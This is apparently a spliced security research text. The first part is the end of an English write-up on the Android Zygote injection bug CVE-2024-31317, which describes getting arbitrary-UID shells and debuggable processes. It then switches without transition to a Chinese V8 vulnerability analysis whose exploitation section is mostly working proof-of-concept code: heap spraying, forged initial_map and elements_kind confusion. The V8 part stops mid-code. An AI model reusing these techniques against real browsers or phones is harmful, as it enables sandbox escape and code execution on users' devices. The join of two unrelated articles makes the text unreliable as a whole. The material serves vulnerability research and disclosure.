    D --> E["Zygote Executes Injected Parameters and Forks a Debuggable Process"];
    E --> F["The New Forked Process Attaches to AMS with the stolen startSeq; AMS Checks startSeq"];
    F --> G["startSeq Check Passes, AMS Controls the Target Process to Load Its Corresponding APK and Complete the Activity Startup Process"];
    G --> H["The Target App Has a jdwp Thread, and the Attacker Can Attach to Perform Code Injection"];

The attack effect on Android 11 is shown in the following image:

As you can see, we successfully launched the settings process and made it debuggable for injection (with a jdwp thread present). Note that the method shown in the screenshot has not been adapted for versions 12 and above, and readers are encouraged to explore this on their own.

Alternative Exploitation Methods

Currently, Method 1 provides a simple and direct way to obtain a shell with arbitrary uid, but it doesn't allow for direct code injection or loading. Method 2 achieves code injection and loading, but requires using the jdwp protocol. Is there a better approach?

Perhaps we can explore modifying the class name of the injected parameters—specifically, the previous android.app.ActivityThread—and redirect it to another gadget class, such as WrapperInit.wrapperInit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
String[] argv, ClassLoader classLoader) {
// If the application calls System.exit(), terminate the process
// immediately without running any shutdown hooks. It is not possible to
// shutdown an Android application gracefully. Among other things, the
// Android runtime shutdown hooks close the Binder driver, which can cause
// leftover running threads to crash before the process actually exits.
nativeSetExitWithoutCleanup(true);

VMRuntime.getRuntime().setTargetSdkVersion(targetSdkVersion);
VMRuntime.getRuntime().setDisabledCompatChanges(disabledCompatChanges);

final Arguments args = new Arguments(argv);

// The end of of the RuntimeInit event (see #zygoteInit).
Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);

// Remaining arguments are passed to the start class's static main
return findStaticMain(args.startClass, args.startArgs, classLoader);
}

It seems that by leveraging WrapperInit, we can control the classLoader to inject our custom classes, potentially achieving the desired effect of code injection and execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static Runnable wrapperInit(int targetSdkVersion, String[] argv) {
if (RuntimeInit.DEBUG) {
Slog.d(RuntimeInit.TAG, "RuntimeInit: Starting application from wrapper");
}

// Check whether the first argument is a "-cp" in argv, and assume the next argument is the
// classpath. If found, create a PathClassLoader and use it for applicationInit.
ClassLoader classLoader = null;
if (argv != null && argv.length > 2 && argv[0].equals("-cp")) {
classLoader = ZygoteInit.createPathClassLoader(argv[1], targetSdkVersion);

// Install this classloader as the context classloader, too.
Thread.currentThread().setContextClassLoader(classLoader);

// Remove the classpath from the arguments.
String removedArgs[] = new String[argv.length - 2];
System.arraycopy(argv, 2, removedArgs, 0, argv.length - 2);
argv = removedArgs;
}
// Perform the same initialization that would happen after the Zygote forks.
Zygote.nativePreApplicationInit();
return RuntimeInit.applicationInit(targetSdkVersion, /*disabledCompatChanges*/ null,
argv, classLoader);
}

The specific exploitation method is left for interested readers to further explore.

Conclusion

This article analyzed the cause of the CVE-2024-31317 vulnerability and shared our research and exploitation methods. This vulnerability has effects similar to the Mystique vulnerability we discovered years ago, though with its own strengths and weaknesses. Through this vulnerability, we can obtain arbitrary UID privileges, which is akin to bypassing the Android sandbox and gaining access to any app's permissions.

Acknowledgments

Thanks to Tom Hebb from the Meta X Team for the technical discussions—Tom is the discoverer of this vulnerability, and I had the pleasure of meeting him at the Meta Researcher Conference.

References

1. POC

poc如下, 与--feedback-normalization息息相关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const obj = Object;
for (let i = 0; i < 32; i++) {
obj["p" + i] = i;
}
/*
d8 \
--expose-gc \
--omit-quit \
--allow-natives-syntax \
--feedback-normalization \
--trace-opt \
--trace-deopt \
--trace-turbo \
--trace-gc \
--trace-migration \
./save/crash.js

#
# Fatal error in ../../src/objects/js-function-inl.h, line 200
# Debug check failed: map()->has_prototype_slot().
#
#
#
#FailureMessage Object: 0x7ffff5a48860
*/

2. 漏洞分析

漏洞发生时的调用栈如下

1
2
3
4
5
6
[#4] 0x555557944e63 → prototype_or_initial_map()
[#5] 0x555557944e63 → initial_map()
[#6] 0x555559885b2d → initial_map()
[#7] 0x555559885b2d → TransitionToDataProperty()
[#8] 0x5555597fe85e → PrepareTransitionToDataProperty()
[#9] 0x5555599b51fb → TransitionAndWriteDataProperty()

问题出现在feedback_normalization标志相关的代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Handle<Map> Map::TransitionToDataProperty(Isolate* isolate, Handle<Map> map,
Handle<Name> name,
Handle<Object> value,
PropertyAttributes attributes,
PropertyConstness constness,
StoreOrigin store_origin) {
...

// Migrate to the newest map before storing the property.
map = Update(isolate, map);

// 搜索map transition, 原来的map添加*name属性后对应的map是否已经存在
MaybeHandle<Map> maybe_transition = TransitionsAccessor::SearchTransition(isolate, map, *name, PropertyKind::kData, attributes);
Handle<Map> transition;
if (maybe_transition.ToHandle(&transition)) { // 已经存在
InternalIndex descriptor = transition->LastAdded();
return UpdateDescriptorForValue(isolate, transition, descriptor, constness, value);
}

// Do not track transitions during bootstrapping.
TransitionFlag flag = isolate->bootstrapper()->IsActive() ? OMIT_TRANSITION : INSERT_TRANSITION;
MaybeHandle<Map> maybe_map;
if (!map->TooManyFastProperties(store_origin)) { // 如果fast properties没超过限制, 那么就添加一个fast property
Representation representation = Object::OptimalRepresentation(*value, isolate);
Handle<FieldType> type = Object::OptimalType(*value, isolate, representation);
maybe_map = Map::CopyWithField(isolate, map, name, type, attributes, constness, representation, flag);
}

Handle<Map> result; // 添加数据属性后的新map

if (!maybe_map.ToHandle(&result)) { // maybe_map为空的
Handle<Object> maybe_constructor(map->GetConstructor(), isolate); // 获取对象的构造方法
if (v8_flags.feedback_normalization && // feedback_normalization表示反馈对象隐式类被normalization这一信息
map->new_target_is_base() &&
IsJSFunction(*maybe_constructor) && // 构造方法是一个普通的JS方法
!JSFunction::cast(*maybe_constructor)->shared()->native()) {
// 获取构造方法的JSFunction对象
Handle<JSFunction> constructor = Handle<JSFunction>::cast(maybe_constructor);
// initial_map表示new constructor时的初始隐式类
Handle<Map> initial_map(constructor->initial_map(), isolate); // <===这里获取initial_map()时报错
// 根据initial_map生成`DictionaryProperties`类型的隐式类
result = Map::Normalize(isolate, initial_map, CLEAR_INOBJECT_PROPERTIES, reason);
// 原来从initial_map起始的隐式类全部被弃用
initial_map->DeprecateTransitionTree(isolate);
// result作为新的initial_map
Handle<HeapObject> prototype(result->prototype(), isolate);
JSFunction::SetInitialMap(isolate, constructor, result, prototype);

// 所有依赖原先initial_map的都进行反优化
DependentCode::DeoptimizeDependencyGroups(isolate, *initial_map, DependentCode::kInitialMapChangedGroup);
...
} else {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
}

return result;
}

我们发现constructor->initial_map()会尝试获取job(Object)->map->constructor->initial_map字段.

考虑下面这个例子

  • job(f)->initial_map是lazy分配的, 在有对象new之前都是空
  • new f()之后, 就会创建map并写入job(f)->initial_map, 作为obj的隐式类
1
2
3
4
5
function f() {

};
let obj = new f();
%DebugPrint(f);

也就是说下面这段获取对象构造方法的代码假设了: 如果一个对象具有JSFunction类型的构造方法, 那么该构造方法一定具有initial_map

换成代码表示就是, 如果job(obj)->map->constructorJSFunction, 那么job(obj)->map->constructor一定具有initial_map字段. 不然job(obj)->map来自于哪里呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (!maybe_map.ToHandle(&result)) {    // maybe_map为空的
Handle<Object> maybe_constructor(map->GetConstructor(), isolate); // 获取对象的构造方法
if (v8_flags.feedback_normalization && // feedback_normalization表示反馈对象隐式类被normalization这一信息
map->new_target_is_base() &&
IsJSFunction(*maybe_constructor) && // 构造方法是一个普通的JS方法
!JSFunction::cast(*maybe_constructor)->shared()->native()) {
// 获取构造方法的JSFunction对象
Handle<JSFunction> constructor = Handle<JSFunction>::cast(maybe_constructor);
// initial_map表示new constructor时的初始隐式类
Handle<Map> initial_map(constructor->initial_map(), isolate); // <===这里获取initial_map()时报错
...
} else {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
}

但是在本例子中job(Object)->map->constructor打破了这个假设. Object是一个特殊的对象, Object->map->constructor虽然是一个JSFunction, 但是这个constructor中并没有initial_map字段, 从而打破了这个假设

initial_map()定义如下, DCEHCK条件为map()->has_prototype_slot(), 也就是说要求job(Object)->map->constructor->map->has_prototype_slot()为true, 也就是说要求Object的构造方法具有一个原型slot

1
2
3
4
5
6
7
8
DEF_GETTER(JSFunction, initial_map, Tagged<Map>) {
return Map::cast(prototype_or_initial_map(cage_base, kAcquireLoad));
}

RELEASE_ACQUIRE_ACCESSORS_CHECKED(JSFunction, prototype_or_initial_map,
Tagged<HeapObject>,
kPrototypeOrInitialMapOffset,
map()->has_prototype_slot())

JSFunction的定义如下, 根据注释可知, JSFunctionprototype_or_initial_map字段是可能不分配的, map()->has_prototype_slot()就表示是否分配了该字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// This class does not use the generated verifier, so if you change anything
// here, please also update JSFunctionVerify in objects-debug.cc.
@highestInstanceTypeWithinParentClassRange
extern class JSFunction extends JSFunctionOrBoundFunctionOrWrappedFunction {
// When the sandbox is enabled, the Code object is referenced through an
// indirect pointer. Otherwise, it is a regular tagged pointer.
@if(V8_ENABLE_SANDBOX) code: IndirectPointer<Code>;
@ifnot(V8_ENABLE_SANDBOX) code: Code;
shared_function_info: SharedFunctionInfo;
context: Context;
feedback_cell: FeedbackCell;
// Space for the following field may or may not be allocated.
prototype_or_initial_map: JSReceiver|Map;
}

总结:

  • JSFunction::prototype_or_initial_map是有可能不分配的, JSFunction::map::has_prototype_slot就表示该字段是否分配了
  • 这部分代码假设了: 如果一个对象具有JSFunction类型的构造方法, 那么该构造方法对象一定具有initial_map字段
  • Object对象的构造方法打破了这个假设, job(Object)->map->constructor是一个JSFunction类型的对象, 但是该对象并没有prototype_or_initial_map字段, 尽管他是Object的构造方法

3. 漏洞利用

针对这个越界读的漏洞, 需要思考下列问题:

  • 能否控制越界读到的内容
  • 能否控制进行越界的对象, 也就是改变越解读的位置
  • 这个越界读的后果
  • 先研究一下Objectjob(Object)->map->constructor的来源, 也就是他们是怎么被分配的

3.1 控制constructor后面的对象

job(Object)->map->constructor后面的对象如下, 似乎不是随机的, 研究下这个对象是怎么申请出来的, 能否释放掉

后面的对象的地址为0x328a00141e65, 发现job(Object)->map->constructor后面就是job(Object)->map->constructor->properties

内存布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
                                  ----------------  -------------
job(Object)->map->constructor => | map | ^
---------------- |
---------| properties | |
| ---------------- |
| | elements |
| ---------------- JSFunction
| | code |
| ---------------- |
| | shared_info | |
| ---------------- |
| | context | |
| ---------------- |
| | feedback_cell | V
| ---------------- ---------------
L------->| map | ^ <==== Overflow, treat as prototype_or_initial_map
---------------- |
| length | |
----------------
| "Function" | PropertyArray
----------------
| "apply" | |
---------------- |
| .... | V

所以只要修改job(Object)->map->constructor中的属性, 使得job(Object)->map->constructor->properties需要重新申请, 那么后面的PropertyArray对象自然就没用了, 就会被释放掉

POC如下

1
2
3
4
5
6
let obj = Object;

// 使得job(Object)->map->constructor->properties被弃用
// 为job(Object)->map->constructor后面的越界读腾出空间
Object.__proto__["aaa"] = 123;
gc();

这样就会使得后面变成表示空闲空间的FreeSpace对象

1
2
3
4
extern class FreeSpace extends HeapObject {
size: Smi; // 空闲空间大小, 包含map, size, next等字段
next: FreeSpace|Smi|Uninitialized; // 下一个空闲对象的地址
}

gc()之后如下

之后通过堆喷就可以在job(Object)->map->constructor后面放置任意js对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
let obj = Object;

// 使得job(Object)->map->constructor->properties被弃用
// 为job(Object)->map->constructor后面的越界读腾出32B空闲空间
Object.__proto__["aaa"] = 123;
gc();

// %DebugPrint({a:1, b:2, c:3, d:4, e:5});
// %SystemBreak();


function heap_spray(){
let arr = [];
for(let i=0; i<300000; i++) {
// print("============> " + i);
let o = {a:1, b:2, c:3, d:4, e:i};
arr.push(o);
}
}
heap_spray();

%DebugPrint(Object.__proto__);
%SystemBreak();

3.2 elements_kind混淆

下面需要思考控制了之后能达到什么效果?

越界读initial_map后的相关操作如下

  • 根据initial_map进行Normalize(), 也就是根据initial_map生成表示dictionary的map
  • initial_map相关的map transition都弃用并进行反优化
  • 调用EquivalentToForNormalization(), 如果基于initial_map Normalize()的结果与map并不等价, 那么就会基于map进行Normalize, 此时map就相当于失效了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Handle<Map> Map::TransitionToDataProperty(Isolate* isolate, Handle<Map> map,
Handle<Name> name,
Handle<Object> value,
PropertyAttributes attributes,
PropertyConstness constness,
StoreOrigin store_origin) {
...

Handle<Map> result; // 添加数据属性后的新map

if (!maybe_map.ToHandle(&result)) { // maybe_map为空的
Handle<Object> maybe_constructor(map->GetConstructor(), isolate); // 获取对象的构造方法
if (v8_flags.feedback_normalization && // feedback_normalization表示反馈对象隐式类被normalization这一信息
map->new_target_is_base() &&
IsJSFunction(*maybe_constructor) && // 构造方法是一个普通的JS方法
!JSFunction::cast(*maybe_constructor)->shared()->native()) {
// 获取构造方法的JSFunction对象
Handle<JSFunction> constructor = Handle<JSFunction>::cast(maybe_constructor);
// initial_map表示new constructor时的初始隐式类
Handle<Map> initial_map(constructor->initial_map(), isolate); // <===这里获取initial_map()时报错
// 根据initial_map生成`DictionaryProperties`类型的隐式类
result = Map::Normalize(isolate, initial_map, CLEAR_INOBJECT_PROPERTIES, reason);
// 原来从initial_map起始的隐式类全部被弃用
initial_map->DeprecateTransitionTree(isolate);
// result作为新的initial_map
Handle<HeapObject> prototype(result->prototype(), isolate);
JSFunction::SetInitialMap(isolate, constructor, result, prototype);

// 所有依赖原先initial_map的都进行反优化
DependentCode::DeoptimizeDependencyGroups(isolate, *initial_map, DependentCode::kInitialMapChangedGroup);

// 如果基于initial_map Normalize()的结果与map并不等价, 那么就会基于map进行Normalize
if (!result->EquivalentToForNormalization(*map, CLEAR_INOBJECT_PROPERTIES)) {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
} else {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
}

return result;
}

3.2.1 绕过EquivalentToForNormalization()的检查

下一步就是要绕过EquivalentToForNormalization()的检查, 否则就不会使用我们堆喷对象的隐式类

判断逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool Map::EquivalentToForNormalization(const Tagged<Map> other, PropertyNormalizationMode mode) const {
return EquivalentToForNormalization(other, elements_kind(), prototype(), mode);
}

bool Map::EquivalentToForNormalization(const Tagged<Map> other,
ElementsKind elements_kind,
Tagged<HeapObject> other_prototype,
PropertyNormalizationMode mode) const {
int properties = mode == CLEAR_INOBJECT_PROPERTIES ? 0 : other->GetInObjectProperties();

int adjusted_other_bit_field2 = Map::Bits2::ElementsKindBits::update(other->bit_field2(), elements_kind);
return CheckEquivalentModuloProto(*this, other) &&
prototype() == other_prototype &&
bit_field2() == adjusted_other_bit_field2 &&
GetInObjectProperties() == properties &&
JSObject::GetEmbedderFieldCount(*this) ==
JSObject::GetEmbedderFieldCount(other);
}

调试发现只需要满足CheckEquivalentModuloProto(*this, other)即可

1
2
3
4
5
CheckEquivalentModuloProto(*this, other): 0
prototype() == other_prototype: 1
bit_field2() == adjusted_other_bit_field2: 1
GetInObjectProperties() == properties: 1
JSObject::GetEmbedderFieldCount(*this) == JSObject::GetEmbedderFieldCount(other): 1

CheckEquivalentModuloProto()的判断逻辑如下

1
2
3
4
5
6
7
8
bool CheckEquivalentModuloProto(const Tagged<Map> first,
const Tagged<Map> second) {
return first->GetConstructorRaw() == second->GetConstructorRaw() &&
first->instance_type() == second->instance_type() &&
first->bit_field() == second->bit_field() &&
first->is_extensible() == second->is_extensible() &&
first->new_target_is_base() == second->new_target_is_base();
}

调试发现

1
2
3
4
5
first->GetConstructorRaw() == second->GetConstructorRaw(): 1
first->instance_type() == second->instance_type(): 0
first->bit_field() == second->bit_field(): 0
first->is_extensible() == second->is_extensible(): 1
first->new_target_is_base() == second->new_target_is_base(): 1

对比Normailize(job(o)->map)的结果和原来的map, 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0x26ce01e00049: [Map] in OldSpace
- map: 0x26ce00141759 <MetaMap (0x26ce001417a9 <NativeContext[295]>)>
- type: JS_OBJECT_TYPE
- instance size: 12
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- dictionary_map
- may_have_interesting_properties
- back pointer: 0x26ce00000069 <undefined>
- prototype_validity cell: 0x26ce00000a89 <Cell value= 1>
- instance descriptors (own) #0: 0x26ce00000759 <DescriptorArray[0]>
- prototype: 0x26ce00142669 <Object map = 0x26ce00141ca5>
- constructor: 0x26ce001421ad <JSFunction Object (sfi = 0x26ce003140a5)>
- dependent code: 0x26ce00000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

0x26ce01e00011: [Map] in OldSpace
- map: 0x26ce00141759 <MetaMap (0x26ce001417a9 <NativeContext[295]>)>
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- callable
- constructor
- has_prototype_slot
- back pointer: 0x26ce00156f41 <Map[32](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x26ce00158619 <Cell value= 0>
- instance descriptors (own) #27: 0x26ce00c70cd1 <DescriptorArray[27]>
- prototype: 0x26ce00141e49 <JSFunction (sfi = 0x26ce000c74b5)>
- constructor: 0x26ce00141e49 <JSFunction (sfi = 0x26ce000c74b5)>
- dependent code: 0x26ce00000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

为了让type都是JS_FUNCTION_TYPE, 因此需要堆喷JSFunction对象, JSFunction对象刚好0x20大小, poc如下, 就可以绕过EquivalentToForNormalization()的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
let obj = Object;

// 使得job(Object)->map->constructor->properties被弃用
// 为job(Object)->map->constructor后面的越界读腾出32B空闲空间
Object.__proto__["aaa"] = 123;
gc();

let arr = [];
function heap_spray(){
for(let i=0; i<300000; i++) {
// print("============> " + i);
let o = function (){};
/*
添加一个SMI属性, 为了绕过:
# Fatal error in ../../src/objects/map.cc, line 598
# Debug check failed: CanBeDeprecated().
*/
o["CanBeDeprecated"] = 1;
arr.push(o);
}
}
heap_spray();

// %DebugPrint(Object.__proto__);
// %SystemBreak();

for (let i = 0; i < 3; i++) {
print("============> " + i);
obj["p" + i] = i;
}
// %DebugPrint(obj);
%SystemBreak();

对比Normailize(job(o)->map)的结果和原来的map, 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Normarlize(job(o)->map)的结果
0x19e2010309d1: [Map] in OldSpace
- map: 0x19e200141759 <MetaMap (0x19e2001417a9 <NativeContext[295]>)>
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- dictionary_map
- may_have_interesting_properties
- callable
- constructor
- has_prototype_slot
- back pointer: 0x19e200000069 <undefined>
- prototype_validity cell: 0x19e200000a89 <Cell value= 1>
- instance descriptors (own) #0: 0x19e200000759 <DescriptorArray[0]>
- prototype: 0x19e200141e49 <JSFunction (sfi = 0x19e2000c74b5)>
- constructor: 0x19e200141eed <JSFunction Function (sfi = 0x19e2003148e5)>
- dependent code: 0x19e200000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

# 原来的
0x19e201030999: [Map] in OldSpace
- map: 0x19e200141759 <MetaMap (0x19e2001417a9 <NativeContext[295]>)>
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- callable
- constructor
- has_prototype_slot
- back pointer: 0x19e200156f41 <Map[32](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x19e2001586e5 <Cell value= 0>
- instance descriptors (own) #27: 0x19e2013b857d <DescriptorArray[27]>
- prototype: 0x19e200141e49 <JSFunction (sfi = 0x19e2000c74b5)>
- constructor: 0x19e200141e49 <JSFunction (sfi = 0x19e2000c74b5)>
- dependent code: 0x19e200000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

3.2.2 Normalize()后map中可控的字段

现在虽然可以绕过了, 但似乎无事发生, Normalize()具体是怎么转换的, 怎么利用这个扩大战果?

  • 也就是说EquivalentToForNormalization()中限制的字段都不能改动,
  • 研究Normailze()看一下哪些可以控制, 从而找到最终的可随意控制的字段

EquivalentToForNormalization()中检查的相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// CLEAR_INOBJECT_PROPERTIES=True, properties为0
int properties = mode == CLEAR_INOBJECT_PROPERTIES ? 0 : other->GetInObjectProperties();

int adjusted_other_bit_field2 = Map::Bits2::ElementsKindBits::update(other->bit_field2(), elements_kind);
prototype() == other_prototype &&
bit_field2() == adjusted_other_bit_field2 &&
GetInObjectProperties() == properties &&
JSObject::GetEmbedderFieldCount(*this) == JSObject::GetEmbedderFieldCount(other);

first->GetConstructorRaw() == second->GetConstructorRaw() &&
first->instance_type() == second->instance_type() &&
first->bit_field() == second->bit_field() &&
first->is_extensible() == second->is_extensible() &&
first->new_target_is_base() == second->new_target_is_base();

总结:

  • 原型对象一样: result->prototype() == map->prototype() = Function的原型对象
  • result->bit_field2 == ElementsKindBits::update(map->bit_filed2, result->elements_kind). 也就是map->bit_field2除了elements_kind字段其余的要和result->bit_field2一致
  • 没有in-obj属性: result->GetInObjectProperties()==0
  • GetEmbedderFieldCount()表示内嵌的字段一致
  • 最原始的构造方法一致: result->constructor->map->constructor->...->map->constructor最终找到的是一致的
  • instance_type字段完全一致
  • bit_field字段完全一致
  • bit_field2->is_extensible一致
  • bit_field2->new_target_is_base一致

Normalize()的过程如下.

  • Normailize()之后就变成了dictionary map, 也就是说对象的proeprties使用字典来表示, 命名属性的key value都保存在这个字段中, map不再使用descriptor array保存属性名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// fast_map就是后面伪造的initial_map
Handle<Map> Map::Normalize(Isolate* isolate, Handle<Map> fast_map, PropertyNormalizationMode mode, const char* reason) {
const bool kUseCache = true;
return Normalize(isolate, fast_map, fast_map->elements_kind(), Handle<HeapObject>(), mode, kUseCache, reason);
}

Handle<Map> Map::Normalize(Isolate* isolate,
Handle<Map> fast_map, // 对应initial_map, 也就是job(o)->map
ElementsKind new_elements_kind, // 可控
Handle<HeapObject> new_prototype, // 空的
PropertyNormalizationMode mode, // CLEAR_INOBJECT_PROPERTIES
bool use_cache,
const char* reason) {
...
Handle<Map> new_map;
if (use_cache && ...) {
...
} else {
new_map = Map::CopyNormalized(isolate, fast_map, mode); // 从fast_map中复制字段构建新map
new_map->set_elements_kind(new_elements_kind); // 设置Elements_Kind
...
}
fast_map->NotifyLeafMapLayoutChange(isolate);
return new_map;
}

Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map, PropertyNormalizationMode mode) {
int new_instance_size = map->instance_size();
if (mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kTaggedSize;
}

Handle<Map> result = RawCopy(isolate, map, new_instance_size, mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
{
DisallowGarbageCollection no_gc;
Tagged<Map> raw = *result;
// Clear the unused_property_fields explicitly as this field should not
// be accessed for normalized maps.
raw->SetInObjectUnusedPropertyFields(0);
raw->set_is_dictionary_map(true);
raw->set_is_migration_target(false);
raw->set_may_have_interesting_properties(true);
raw->set_construction_counter(kNoSlackTracking);
}


return result;
}

Handle<Map> Map::RawCopy(Isolate* isolate, Handle<Map> src_handle, int instance_size, int inobject_properties) {
Handle<Map> result = isolate->factory()->NewMap(src_handle, src_handle->instance_type(), instance_size, TERMINAL_FAST_ELEMENTS_KIND, inobject_properties);
{
DisallowGarbageCollection no_gc;
Tagged<Map> src = *src_handle;
Tagged<Map> raw = *result;
raw->set_constructor_or_back_pointer(src->GetConstructorRaw());
raw->set_bit_field(src->bit_field());
raw->set_bit_field2(src->bit_field2());
int new_bit_field3 = src->bit_field3();
new_bit_field3 = Bits3::OwnsDescriptorsBit::update(new_bit_field3, true);
new_bit_field3 = Bits3::NumberOfOwnDescriptorsBits::update(new_bit_field3, 0);
new_bit_field3 = Bits3::EnumLengthBits::update(new_bit_field3, kInvalidEnumCacheSentinel);
new_bit_field3 = Bits3::IsDeprecatedBit::update(new_bit_field3, false);
new_bit_field3 = Bits3::IsInRetainedMapListBit::update(new_bit_field3, false);
if (!src->is_dictionary_map()) {
new_bit_field3 = Bits3::IsUnstableBit::update(new_bit_field3, false);
}
// Same as bit_field comment above.
raw->set_bit_field3(new_bit_field3);
raw->clear_padding();
}
Handle<HeapObject> prototype(src_handle->prototype(), isolate);
Map::SetPrototype(isolate, result, prototype);
return result;
}

Map中包含如下字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bitfield struct MapBitFields2 extends uint8 {
new_target_is_base: bool: 1 bit; // 要求一致
is_immutable_prototype: bool: 1 bit; // 要求一致
elements_kind: ElementsKind: 6 bit; // <=== 可不一致, 根据initial_map设置, 可控
}

bitfield struct MapBitFields3 extends uint32 {
enum_length: int32: 10 bit; // 不可控, 恒为invalid
number_of_own_descriptors: int32: 10 bit; // 不可控, 恒为0
is_prototype_map: bool: 1 bit; // 不可控, 恒为false
is_dictionary_map: bool: 1 bit; // 不可控, 恒为true
owns_descriptors: bool: 1 bit; // 不可控, 恒为false
is_in_retained_map_list: bool: 1 bit; // 不可控, 恒为false
is_deprecated: bool: 1 bit; // 不可控, 恒为0
is_unstable: bool: 1 bit;
is_migration_target: bool: 1 bit; // 不可控, 恒为false
is_extensible: bool: 1 bit;
may_have_interesting_properties: bool: 1 bit; // 不可控, 恒为true
construction_counter: int32: 3 bit;
}


extern class Map extends HeapObject {
...
// 这两个字段相等, 也就是没有in-obj property
instance_size_in_words: uint8;
inobject_properties_start_or_constructor_function_index: uint8;

used_or_unused_instance_size_in_words: uint8;
visitor_id: uint8;
instance_type: InstanceType; // 要求一致, 所以只能是JSFunction
bit_field: MapBitFields1; // 要求一致
bit_field2: MapBitFields2; // 要求除了elements_kind都一致, 根据initial_map设置, 可控
bit_field3: MapBitFields3; // <== 可不一致, 根据initial_map设置, 但基本都不可控
...

prototype: JSReceiver|Null; // 要求一致, 根据initial_map设置, 可控
constructor_or_back_pointer_or_native_context: Object; // 要求最终的constructor都是一样的, 继承自initial_map
instance_descriptors: DescriptorArray; // 不可控, 恒为空
dependent_code: DependentCode;
prototype_validity_cell: Smi|Cell;
transitions_or_prototype_info: Map|Weak<Map>|TransitionArray|PrototypeInfo|Smi;
}

目标字段筛选

  1. EquivalentToForNormalization中允许不一致的
  2. 并且Normalize()根据initial_map设置的字段, 那么就是我们可任意控制的

符合这两个条件的只有elements_kind字段
也就是说TransitionToDataProperty()在属性过多需要转换为dictionary map时, 会使用map->constructor->initial_mapelements_kind设置新隐式类的elements_kind

3.2.3 如何混淆elements_kind

elements kind的lattice如下, elements kind只能沿着格子向下转换, 也就是逐步变得更加的泛化, 下面这些都是fast elements kind, 也就是基于数组的

elements kind表示对象的可排序属性的保存方式, 对于下面这个默认job(o)->map->elements_kind = HOLEY_ELEMENTS, 他要变得更加宽泛就只能变成DICTIONARY_ELEMENTS

1
2
let o = function (){};
o["CanBeDeprecated"] = 1;

这部分EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
let obj = Object;

// 使得job(Object)->map->constructor->properties被弃用
// 为job(Object)->map->constructor后面的越界读腾出32B空闲空间
Object.__proto__["aaa"] = 123;
// gc(); // 不要主动触发GC, 后面堆喷时触发GC命中概率更大

let arr = [];
function heap_spray(cnt){
for(let i=0; i<cnt; i++) {
if(i%1000==0)
print("heap spray ============> " + i);

/*
job(o)->map会被当做是job(Object)->map->constructor->initial_map
job(Object)->map->instance_type为JS_FUNCTION_TYPE
EquivalentToForNormalization()会检查下面两个map的instance_type是否一致
- Normalize(job(o)->map)
- job(Object)->map
所以job(o)->map->instanl_map只能为JS_FUNCTION_TYPE
因此o只能是JSFunction类型的对象
*/
let o = function (){};

/*
添加一个SMI属性, 为了绕过:
# Fatal error in ../../src/objects/map.cc, line 598
# Debug check failed: CanBeDeprecated().
*/
